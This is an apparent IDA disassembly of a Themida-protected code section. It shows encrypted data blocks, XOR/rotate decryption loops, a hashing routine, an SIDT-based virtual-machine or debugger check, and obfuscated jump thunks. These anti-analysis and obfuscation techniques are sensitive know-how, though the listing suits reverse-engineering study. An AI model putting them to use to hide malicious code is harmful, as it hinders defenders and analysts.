		dd 5ABE66F9h, 0C08161B7h, 737A6914h, 9D38166h, 810789DEh
		dd 28D23CEBh, 0FAEF816Ch, 5275EF0Ah, 13E9h, 990C4900h
		dd 35D23C31h, 0D6C6B080h, 0C2F92816h, 0F8F4296h, 0F6C7815Ah
		dd 0BB75EF0Ah, 8A75E8Eh, 0F01EE83h, 0F85h, 1FBA6600h, 28E913h
		dd 0C7390000h, 30FADEE6h, 38C0Fh, 0BF0F0000h, 0FF6EE9D3h
		dd 0CD2EFFFFh, 52C21D1Fh, 1798A89Dh, 6DE772A3h,	7CCE4B39h
		dd 18EB7288h, 9B46F317h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_57D0F0
; ---------------------------------------------------------------------------


loc_57CEE5:				; CODE XREF: Themida_:0057CEFAj
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 61138F3h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_57CEE5
; ---------------------------------------------------------------------------


loc_57CEFF:				; CODE XREF: Themida_:0057CF04j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57CEFF
; ---------------------------------------------------------------------------


loc_57CF09:				; CODE XREF: Themida_:0057CF0Ej
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57CF09
; ---------------------------------------------------------------------------


loc_57CF13:				; CODE XREF: Themida_:0057CF18j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57CF13
; ---------------------------------------------------------------------------


loc_57CF1D:				; CODE XREF: Themida_:0057CF22j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57CF1D
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 11392BB5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	11392FB5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 60E293Dh, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 0E18C995h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 60E293Dh
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	293D858Bh, 1886060Eh
		dd 850FDB0Ah, 0FFFFFFF6h, 0A1D85C7h, 60Eh, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 0E0A1D85h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh
; ---------------------------------------------------------------------------


loc_57D0F0:				; CODE XREF: Themida_:0057CEE0j
		mov	ax, ds
		test	al, 4
		jz	loc_57D124
		mov	dword ptr [ebp+61138D0h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+61138D4h]
		lea	eax, [ebp+61138CCh]
		lea	edi, [ebp+61138D4h]
		mov	[eax], edi
		jmp	loc_57D147
; ---------------------------------------------------------------------------


loc_57D124:				; CODE XREF: Themida_:0057D0F5j
		lea	eax, [ebp+60E1E7Dh]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+61138CCh],	eax
		lea	eax, [ebp+60E1E7Dh]
		mov	eax, [eax+3Ch]
		mov	[ebp+61138D0h],	eax


loc_57D147:				; CODE XREF: Themida_:0057D11Fj
		lea	eax, [ebp+61138E9h]
		mov	[ebp+60E18C9h],	eax
		jmp	loc_57D1DF
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57D173
; ---------------------------------------------------------------------------


loc_57D16C:				; CODE XREF: Themida_:0057D175j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_57D173:				; CODE XREF: Themida_:0057D167j
		cmp	esi, edi
		jb	loc_57D16C
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_57D19B
; ---------------------------------------------------------------------------


loc_57D194:				; CODE XREF: Themida_:0057D19Dj
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_57D19B:				; CODE XREF: Themida_:0057D18Fj
		cmp	esi, edi
		jb	loc_57D194
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_57D1CE
; ---------------------------------------------------------------------------


loc_57D1BB:				; CODE XREF: Themida_:0057D1D0j
		lodsb
		cmp	al, 2Dh
		jz	loc_57D1CE
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_57D1CE:				; CODE XREF: Themida_:0057D1B6j
					; Themida_:0057D1BEj
		or	ecx, ecx
		jnz	loc_57D1BB
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_57D1DF:				; CODE XREF: Themida_:0057D153j
		lea	eax, [ebp+6113B5Ch]
		mov	[ebp+60E2F2Dh],	eax
		lea	eax, [ebp+6113B84h]
		mov	[ebp+60E0A59h],	eax
		lea	eax, [ebp+6113BACh]
		mov	[ebp+60E0D8Dh],	eax
		jmp	short loc_57D20D
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_57D20D:				; CODE XREF: Themida_:0057D203j
		jmp	loc_57D28D
; ---------------------------------------------------------------------------
		dw 5260h
		dd 244C010Fh, 0C2835AFEh, 79858B24h, 8D060E0Dh,	11887485h
		dd 8B088B06h, 100088h, 660A8B00h, 89FC4A8Bh, 113C0D8Dh
		dd 4DBD8306h, 60E0Fh, 0F840Fh, 6A600000h, 4595FF00h, 61060E0Fh
		dd 0FFFFC4E9h, 728966FFh, 10CEC1FCh, 2728966h, 5A04CD52h
		dd 3C098589h, 0B58B0611h, 6113C0Dh, 6610CEC1h, 8B027289h
		dd 113C0DB5h, 72896606h, 858B61FCh, 6113C09h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_57D28D:				; CODE XREF: Themida_:loc_57D20Dj
		lea	edx, [ebp+60E2AC5h]
		mov	[ebp+60E293Dh],	edx
		mov	[ebp+60E07D1h],	edx
		inc	dword ptr [ebp+60E07D1h]
		mov	byte ptr [ebp+60E2F11h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	[ebp+60E0F45h],	eax
		lea	eax, [ebp+6113903h]
		mov	[ebp+60E2029h],	eax
		jmp	short $+2
		jmp	loc_57D88F
; ---------------------------------------------------------------------------
		jmp	loc_57D888
; ---------------------------------------------------------------------------
		push	6113D98h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6113EDBh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6113F77h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	611402Fh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6114144h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		leave
		rol	byte ptr [edi],	cl
		inc	ebx
		test	al, 0ACh
		jmp	short loc_57D33E
; ---------------------------------------------------------------------------
		db 8Ch
		dd 6F0ACE91h, 51ECB075h, 0A1CC9059h, 1CAC223h, 0E2A9A23Dh
		dd 0C885831Eh, 0AD6C6904h, 11D29DE9h, 5D788DF6h
		db 4Ah,	0E1h
; ---------------------------------------------------------------------------


loc_57D33E:				; CODE XREF: Themida_:0057D315j
		xor	eax, [esi-3550411Eh]
		mov	al, 98h
		ror	eax, 1
		xchg	dh, [ecx]
		jz	short loc_57D35E
		test	al, 69h
		pop	ebx
		mov	bh, 50h
		test	al, 69h
		pop	ebx
		not	byte ptr [eax+365B69A8h]
		xlat
		test	al, 69h


loc_57D35E:				; CODE XREF: Themida_:0057D34Bj
		pop	ebx
		jns	short loc_57D37C
		test	al, 69h
		pop	ebx
		mov	ebx, 0DB69A858h
		cld
		cmp	al, 85h
		mov	dh, 0F5h
		outsd
		iret
; ---------------------------------------------------------------------------
		dd 1E99E177h, 0F5B2B04Fh, 0DB989631h
; ---------------------------------------------------------------------------


loc_57D37C:				; CODE XREF: Themida_:0057D35Fj
					; Themida_:0057D386j
		mov	edi, 7A4978C0h
		mov	ecx, 188646DFh
		jno	short near ptr loc_57D37C+2
		mov	al, ds:0A287B505h
		pop	ebp
		add	[edi+4Eh], esi
		add	al, 0
		add	[esi+57h], cl
		mov	eax, cs
		sub	eax, 11AC7031h
		push	ss
		push	ebx
; ---------------------------------------------------------------------------
		db 8Fh
		dd 7135FAF4h, 5115DED6h, 4F47BE26h, 2E27C286h, 0A08A367h
		dd 0F1EE894Dh, 57226E32h, 788D7396h, 0B866CF5Dh, 0D7A6B9B6h
		dd 69B0F316h, 13D44F5Bh, 5B69B0F4h, 3A56D14Ch, 0D394902Fh
		dd 0B043C17Eh, 0DD9B5B69h, 8948458Ch, 6E2D2AC5h, 0BB7A7752h
		dd 8E534DECh, 4E66BB72h, 0F7EF8E59h, 0A5BD92Eh,	4307C6C3h
		dd 0F64C36C1h, 5752F1AFh, 36FBF594h, 3A115E1h, 0B6A70000h
		dd 8C2BFAB9h, 0D534A690h, 0AA6B7540h, 75C132Fh,	5415E4EFh
		dd 5B695A35h, 0BD128Dh,	5B69599Ch, 89A56A64h, 0D7F3B0AEh
		dd 0E72E7F41h, 89AF2AEBh, 322F76C7h, 9863AF73h,	6959B0D7h
		dd 7995105Bh, 1FE3A09Eh, 0ACC88784h, 6E328FADh,	0F9F3D6D3h
		dd 929DB934h, 598702C3h, 0C03B5B69h, 10D7D06Bh,	56B17241h
		dd 0EA5B6959h, 108B524Bh, 98B47571h, 0FCC8CE1h,	5B69598Ch
		dd 91607B74h, 695949D0h, 0CD8E095Bh, 5B69594Ah,	0F4108B06h
		dd 0AF7E43F5h, 0FE531410h, 202A7233h, 2FCE6177h, 0A0577332h
		dd 0EAB9884Bh, 9B60EE29h, 26E762A2h, 0A29B60E3h, 1369E45Fh
		dd 28968C66h, 0BE06AC6h, 91000003h, 700BCF9Ah, 54EFB374h
		dd 37D29659h, 19B4783Dh, 69945821h, 0C9928AFBh,	0AA716A05h
		dd 904D4BE6h, 753431CCh, 0D99A65B1h, 5D788EBEh,	0B6FBA912h
		dd 3DEFAB9h, 202B4706h,	707C647Ch, 8882C671h, 75F0A7C3h
		dd 0A18C8520h, 12C9E5A4h, 38F9C897h, 5B69F5D1h,	0E1A1F671h
		dd 69F5A124h, 85E4275Bh, 0B85C5B69h, 0E33AF22Eh, 28C318F3h
		dd 4F4C682Fh, 5B69C3CCh, 6EF0A890h, 38567AA0h, 9D41108Bh
		dd 6266535Ah, 774297DAh, 779F96B6h, 61B73261h, 28961EEEh
		dd 6F24AE0Ah, 2D000002h, 0CA76B36h, 0F08B4F10h,	0D36E32F5h
		dd 0B55014D9h, 530F4BDh, 652E265Fh, 460D06A1h, 2CE9E782h
		dd 11D0CD68h, 7536014Dh, 5D788F12h, 869745AEh, 0C152B5E2h
		dd 558120h, 8DA96865h, 0DAF6B5B2h, 7D7B1AE5h, 9CED6BC0h
		dd 0DA678125h, 0D02B9B73h, 24E3E07Bh, 0A219DE60h, 0E40DAFF5h
		dd 9F000001h, 69B07194h, 3EFBF95Bh, 24E1DF7Ah, 722F2D08h
		dd 92E36156h, 7B3C4D4Bh, 5B69B01Ch, 521DEDCh, 0F0E8874Eh
		dd 6D31AC27h, 0F64C0CEBh, 817C1BAFh, 509D69BEh,	2F000000h
		dd 4C1BA692h, 1EE5DE7Dh, 0CEA80CC9h, 0C9686177h, 398F0ACFh
		dd 2895BE88h, 0B7F27CD8h, 0E5000001h, 0C45F23EEh, 0A84307C8h
		dd 8B26EAADh, 6D08CC91h, 0BDE8AC75h, 1DE6DE07h,	0FEC5BE59h
		dd 0E4A19F3Ah, 0C9888520h, 2DEEB905h, 5D78F0EAh, 54FFD66h
		dd 0B016793Ah, 6AA5B69h, 751C1610h, 132FAAEDh, 80706908h
		dd 0DB5FAF53h, 7995103Fh, 0D4D26DC2h, 0BBB85317h, 5BE1E0FCh
		dd 907A266h, 0F0ED884Ch, 0A0E69408h, 0CE49B114h, 17DED7B2h
		dd 40C78853h, 5B6980h, 0A96A3585h, 5B69806Eh, 704B67E2h
		dd 2E5B8975h, 0FA90C567h, 51F0BB7Fh, 0C0779356h, 348DAC6Bh
		dd 7F423D18h, 0A09FFEBBh, 0F93F5B69h, 692AF9C8h, 5B69A02Eh
		dd 0DC53FEA2h, 0E139AC5Fh, 85461166h, 6177017Fh, 905F2EA9h
		dd 19900C1h, 0BE39A29Bh, 11D2CE69h, 0F5B6B24Dh,	1A00FED9h
		dd 2AE6D4DAh, 0C8E45F42h, 3E1619BDh, 8CA37B22h,	0FDB4D08Fh
		dd 99922D82h, 410935A9h, 50CB8E96h, 475E5934h, 9BBD0386h
		dd 0C944BFA2h, 378AAEADh, 0C495A768h, 0D8539885h, 87AFDB82h
		dd 31BB1722h, 0A2h, 743803FAh, 581CDDD9h, 3BFFC2BDh, 1DE1A6A0h
		dd 0FDC18A82h, 0FBF312D2h, 0DAD36E32h, 0B6B44F13h, 9D9A35F9h
		dd 3CE1ADEh, 78F1C742h,	64127B5Dh, 2BFAB9B6h, 7BD08F8Ch
		dd 788B8863h, 69B050B7h, 581F185Bh, 43BE853Ch, 39B7ACC8h
		dd 0E5A4A1E8h, 4C589F21h, 30CFAFF6h, 9D547037h,	157C48h
		dd 860E0000h, 0D126EFE7h, 69B0F014h, 0BC7B785Bh, 1AAEF8h
		dd 943C0000h, 5B69B071h, 6C2F2AC9h, 0C07F7C17h,	266122F1h
		dd 9A5B69B0h, 9C0ACA1Fh, 8529993Ch, 0B8C5B7B9h,	4E98ED10h
		dd 2, 0BFB67A2Ch, 0FDD8F4h, 4C4A2541h, 9F98738Fh, 0E9E1BCD8h
		dd 31290420h, 77714C68h, 0C0BB96B2h, 0A06E1FDh,	68692D49h
		dd 9C3h, 68240489h, 4C35h, 50242C89h, 405E089h,	83000000h
		dd 48704E8h, 14895C24h,	654F6824h, 3C890000h, 6E5DBF24h
		dd 70BD6DB1h, 2973C2ABh, 0A0685FFDh, 8900005Fh,	4832424h
		dd 835A0424h, 1C8904ECh, 89EB8924h, 8B5B085Ah, 89532414h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 2434FF5Ch, 4C4835Dh
		dd 0FD3C23E9h, 1DD011FFh, 1B5172DDh, 0AD07E373h, 0D91CFA32h
; ---------------------------------------------------------------------------


loc_57D888:				; CODE XREF: Themida_:0057D2D8j
		mov	eax, 611420Bh
		add	eax, ebp


loc_57D88F:				; CODE XREF: Themida_:0057D2D3j
		mov	edx, ecx
		jmp	short loc_57D8B3
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57D8B3:				; CODE XREF: Themida_:0057D891j
		jmp	loc_57DDC9
; ---------------------------------------------------------------------------
		jmp	loc_57DDC2
; ---------------------------------------------------------------------------
		push	6114466h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6114503h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61146A3h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61146F6h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 9Fh,	0A8h, 0DDh
		dd 0C1827E19h, 0A46762FDh, 864B45E0h, 662F27C2h, 98CD77A2h
		dd 7813D7A0h, 59F4B87Fh, 3FDA9E5Bh, 73BF8342h, 0F2A0E7A8h
		dd 0B7205D78h, 0F8BBB609h, 0CD8E8A29h, 20636078h, 0BCDB69B0h
		dd 9332A9FAh, 0B7D39Ah,	4ECE29ABh, 30582FF6h, 0EA000000h
		dd 93F6B786h, 2F5B69B0h, 62A25FB4h, 0E25B69B0h,	0DB9C6B56h
		dd 617AF26Fh, 0D8C2BE5Dh, 0DDE327D7h, 7B971226h, 31AC6FC4h
		dd 3C236Dh, 86B10000h, 5827EEE7h, 69B07097h, 55D05Bh, 69B0C043h
		dd 0DB4845Bh, 0DFA06F3Eh, 5B69B0B8h, 0BDDC9D18h, 155B69B0h
		dd 0B97A459Ah, 617AF28Dh, 3904C843h, 0D6EA96Ah,	67E2A287h
		dd 0BBB6A412h, 0BFDFDCF8h, 6ADB69B0h, 352DCC9Bh, 0D899506Ch
		dd 0DB69B0B1h, 0C3419611h, 605CFB72h, 0B4AF4A9Fh, 0CB6E2DF1h
		dd 975827F6h, 0DB69B070h, 350055D0h, 0ACBC766h,	0B01F7A3Bh
		dd 38B3DB69h, 0C0E726E3h, 0E863DB69h, 2822C1CCh, 5210463Ah
		dd 97127EDDh, 0DFA8A07Bh, 77740F64h, 5A29F4B8h,	964E7E99h
		dd 257D224h, 0FDCCF543h, 829E655Eh, 0EAAB76CBh,	1E884332h
		dd 1A1733AEh, 229841FBh, 3260B173h, 360456C5h, 3CAC362h
		dd 66E2AEh, 86740000h, 49163DE2h, 7ACF2A9Ah, 75447DBBh
		dd 7A452BB4h, 9160DB61h, 7E0DF5F2h, 12208AB9h, 7B16DA55h
		dd 3A69BF7Eh, 46288BF0h, 2C860EAh, 251C0000h, 0FFFB965Ah
		dd 0E4DF7A3Eh, 0C8C25D21h, 0ACA43F03h, 70F41FE3h, 90541D15h
		dd 7135FCF5h, 571BD8D6h, 3C00BFBCh, 256425F0h, 9D5D78F4h
		dd 93078634h, 95000002h, 0DCF8BBB6h, 69B0BCDFh,	7A75145Bh
		dd 0E6A562B7h, 685B69B0h, 0A4964F22h, 964F65A8h, 4FA8EBA4h
		dd 0EF2EA496h, 6FE4964Fh, 6829F8C9h, 5E855FC0h,	29703100h
		dd 0A96286BEh, 0BEFE19DAh, 0D7526286h, 0C1BD5Ch, 0CE6A6985h
		dd 0B65524F3h, 24DBF7BCh, 6FC48D85h, 98B9D6B2h,	99EF6A58h
		dd 0E28567FCh, 2B86106Ch, 0B9000002h, 9833F7C2h, 7C17DB9Ch
		dd 5FFABE81h, 41DCA065h, 91BC8049h, 0F1BAB2D3h,	0D299922Dh
		dd 0B875730Eh, 9D5C59F4h, 1C28DD9h, 5D78F586h, 0B623D13Ah
		dd 15DED6B9h, 0B97F7E9Ah, 0A924EBE4h, 0F20119DAh, 44BF617Ah
		dd 25E6B580h, 0A2870EE2h, 0F38EE35Eh, 0D67135F8h, 0FDFC18DBh
		dd 0F6B7863Bh, 98944C74h, 98551994h, 0A8B4CC75h, 93625FD9h
		dd 0A78E4CD2h, 0E4A57492h, 0B6A589A5h, 0B9C1AD40h, 0BC839C4Eh
		dd 0E5A6A241h, 0C89712C9h, 9C5F5AF9h, 302AC980h, 7E7B166Bh
		dd 8C30FBBFh, 687FFE73h, 0AD489D69h, 0CAD5F1B0h, 47103B26h
		dd 0C61612Ch, 0A550BC4Fh, 0D9D574B6h, 3404C318h, 4DFDBE8Dh
		dd 8B8CB612h, 0A5A24110h, 8A8722E6h, 23B2AFCBh,	0E3BCD22Dh
		dd 0CE9D6C55h, 2DDB3EFFh, 0FC77BCD2h, 6F48EAA7h, 0E98886C1h
		dd 5A112DECh, 747110DFh, 5726F1B5h, 3CFDBAB8h, 0BAC3EADDh
		dd 0AA5FA75h, 33324E0Dh, 2CEDBC05h, 80D0A83Eh, 2B110FAEh
		dd 28AED2A2h, 8DE25D78h, 36334FCAh, 80F047D7h, 0AFDC808Fh
		dd 9712BB9Dh, 0A6D732F3h, 0F06B80F0h, 0A2E5A675h, 1E80F0A6h
		dd 7FD04EA3h, 5D35A651h, 0C80D4h, 94120000h, 5B69CD71h
		dd 74Ah, 7194D800h, 265B69CAh, 4C1BA692h, 7AF2F38Bh, 9AB63161h
		dd 34F3F08Fh, 0CD4C0D18h, 85A2870Dh, 0F4F08F0Ah, 191FDE33h
		dd 3E3AD9A8h, 1E5F1254h, 25A0996Bh, 0E04405D0h,	989899DCh
		dd 203CFDF9h, 9844D45h,	2076F1B4h, 22846789h, 8B038DE9h
		dd 59000000h, 38D39762h, 1CB77B3Ch, 0FF9A5E21h,	0E17C4005h
		dd 315C20E9h, 915A52B3h, 723932CDh, 581513AEh, 3DFCF994h
		dd 0A1622D79h, 5D78F666h, 92C371DAh, 8B4C1BA6h,	617AF2F3h
		dd 9B9AB631h, 9455249Dh, 989977ACh, 0A2439914h,	22284C0h
		dd 381CA6h, 0B5AC0000h,	8F8B26EAh, 746F0ACEh, 5852EDB1h
		dd 3C34CF93h, 0C084AF73h, 20E4ADA5h, 1C58C85h, 0E7AB6866h
		dd 0CC904F4Ch, 95F4B580h, 2D5D78F6h, 30716C4h, 95000000h
		dd 0BFB68133h, 0FDD8F4h, 4C4A2541h, 9F98738Fh, 0E9E1BCD8h
		dd 31290420h, 77714C68h, 0C0BB96B2h, 0A06E1FDh,	68692D49h
		dd 6A4Eh, 68242C89h, 3031h, 68243C89h, 66B2h, 53243489h
		dd 4A158368h, 241C8B3Ch, 4C481h, 0CB810000h, 0D653FF1h
		dd 7794EB81h, 0EB8148EDh, 0EE708576h, 545BDF89h, 8124348Bh
		dd 4C4h, 108F6800h, 3C890000h, 8468F24h, 5E2434FFh, 8B04C483h
		dd 8952243Ch, 4C281E2h,	83000000h, 148704C2h, 0DDE95C24h
		dd 80FFFD36h
		db 0CAh, 0D4h
; ---------------------------------------------------------------------------


loc_57DDC2:				; CODE XREF: Themida_:0057D8B8j
		mov	eax, 6114753h
		add	eax, ebp


loc_57DDC9:				; CODE XREF: Themida_:loc_57D8B3j
		mov	ecx, eax
		jmp	loc_57DE21
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_57DDEB:				; CODE XREF: Themida_:0057DE16j
		cmp	ecx, 0
		jz	loc_57DE0A
		cmp	edi, [edx+0Ch]
		jg	loc_57DE12
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_57DE0A:				; CODE XREF: Themida_:0057DDEEj
					; Themida_:0057DE1Cj
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57DE12:				; CODE XREF: Themida_:0057DDF7j
		add	edx, 28h
		dec	ecx
		jnz	loc_57DDEB
		jmp	loc_57DE0A
; ---------------------------------------------------------------------------


loc_57DE21:				; CODE XREF: Themida_:0057DDCBj
		mov	edx, 9FD3Eh
		call	sub_57DE35
		xlat
		jl	short loc_57DE91
		sub	[esi+edx*8-341EAE4h], bl

; =============== S U B	R O U T	I N E =======================================



sub_57DE35	proc near		; CODE XREF: Themida_:0057DE26p

var_50		= dword	ptr -50h
arg_0		= dword	ptr  4

		mov	ax, di
		pop	ebx
		or	ax, 3943h
		add	ebx, 710Dh
		jo	loc_57DE50
		add	eax, 10CEF4BAh


loc_57DE50:				; CODE XREF: sub_57DE35+Fj
		mov	ecx, 12708971h
		xor	ecx, 12709563h
		sub	esi, 7299E255h


loc_57DE61:				; CODE XREF: sub_57DE35:loc_57DEE0j
		mov	edx, [ebx]
		push	eax
		pop	esi
		sub	edx, 1E65AF54h
		clc
		sub	edx, 2BB69520h
		jmp	loc_57DE87
; ---------------------------------------------------------------------------
		db 97h
		dd 0C182235Dh, 6262B61Eh, 6A1B2296h
; ---------------------------------------------------------------------------
		shl	byte ptr [ebx-5Ah], cl


loc_57DE87:				; CODE XREF: sub_57DE35+3Dj
		sub	edx, 7FCB9B02h
		mov	di, 57ADh


loc_57DE91:				; CODE XREF: Themida_:0057DE2Cj
		push	edx
		jnz	loc_57DE9E
		add	edi, 5F326153h


loc_57DE9E:				; CODE XREF: sub_57DE35+5Dj
		pop	dword ptr [ebx]
		cmc
		sub	ebx, 3
		jmp	loc_57DEBC
; ---------------------------------------------------------------------------
		db 0F5h, 0CEh, 0C6h
		dd 0F82122D4h, 2405208Dh, 0FD44FFh, 89993459h
; ---------------------------------------------------------------------------


loc_57DEBC:				; CODE XREF: sub_57DE35+6Fj
		dec	ebx
		adc	edi, 15408C09h
		sub	ecx, 1
		jnz	loc_57DEE0
		mov	edi, eax
		jmp	loc_57DEF4
; ---------------------------------------------------------------------------
		dw 0A62Dh
		dd 0FCC9CF3Dh, 37AB0DDCh
; ---------------------------------------------------------------------------


loc_57DEE0:				; CODE XREF: sub_57DE35+94j
		jmp	loc_57DE61
; ---------------------------------------------------------------------------
		db 95h,	2Dh, 16h
		dd 7C35A6F5h, 47ADDAD9h, 3BBEBA6Ch
; ---------------------------------------------------------------------------


loc_57DEF4:				; CODE XREF: sub_57DE35+9Cj
		jmp	loc_57E05C
; ---------------------------------------------------------------------------
		db 0Bh,	0B0h, 0C7h
		dd 95ECE73Ch, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 3Ch,	44h, 6Ch, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 2Ah dup(0)
; ---------------------------------------------------------------------------


loc_57E05C:				; CODE XREF: sub_57DE35:loc_57DEF4j
		jmp	loc_57FFAB
; ---------------------------------------------------------------------------
		push	6114C30h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6114D6Bh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6114E5Fh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6114F2Ah
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115005h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61150B0h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115184h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	611521Ah
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61155ADh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115622h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115714h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115A34h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6115D6Dh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61160F7h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61162A0h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	6116331h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61163ADh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61163FEh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	611659Dh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	61166A6h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	611685Fh
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 0EDh
		dd 0CC672BF6h, 0B04B0FD0h, 932EF2B5h, 7510D499h, 0C5F0B47Dh
		dd 25EEE61Fh, 6CDC661h,	0ECA9A742h, 0D1908D28h,	35F6C10Dh
		dd 5D78FBD2h, 0B657056Eh, 3DEFAB9h, 0C4834706h,	0BD7E4D74h
		dd 6177BE3Fh, 773432D1h, 8C4FA45Bh, 0B2734211h,	0A2984257h
		dd 31B70EBh, 98428706h,	4C9D5FA2h, 455D91Eh, 344DB6h, 0B3820000h
		dd 985A97F2h, 5BB02BA2h, 1BA692EDh, 5DBC7D4Ch, 0F55B69B0h
		dd 995A257Ah, 6177BFBFh, 7D7A9611h, 0A298401Eh,	95C314D6h
		dd 0B6045C62h, 0BDC4h, 0B7865600h, 69B093F6h, 5FB42F5Bh
